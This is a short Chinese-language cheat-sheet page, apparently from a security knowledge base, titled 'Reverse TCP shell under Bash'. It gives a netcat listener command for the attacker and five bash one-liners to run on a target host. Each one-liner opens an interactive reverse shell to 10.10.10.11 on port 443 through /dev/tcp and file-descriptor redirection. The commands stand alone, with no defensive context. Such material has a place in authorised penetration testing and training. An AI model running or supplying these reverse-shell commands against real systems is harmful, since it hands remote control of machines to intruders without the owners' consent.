menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 011-反弹shell chevron_right 002-Bash环境下反弹TCP协议shell.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    002-Bash环境下反弹TCP协议shell.md
    505 B / 2021-07-17 00:01:40
        # Bash环境下反弹TCP协议shell
    
    
    首先在本地监听TCP协议443端口
    
    ```bash
    nc -lvp 443
    
    ```
    
    然后在靶机上执行如下命令:
    
    ```bash
    bash -i >& /dev/tcp/10.10.10.11/443 0>&1
    
    ```
    
    ```bash
    /bin/bash -i > /dev/tcp/10.10.10.11/443 0<& 2>&1
    
    ```
    
    ```bash
    exec 5<>/dev/tcp/10.10.10.11/443;cat <&5 | while read line; do $line 2>&5 >&5; done
    
    ```
    
    ```bash
    exec /bin/sh 0</dev/tcp/10.10.10.11/443 1>&0 2>&0
    
    ```
    
    ```bash
    0<&196;exec 196<>/dev/tcp/10.10.10.11/443; sh <&196 >&196 2>&196
    
    ```
    
    
    
    links
    file_download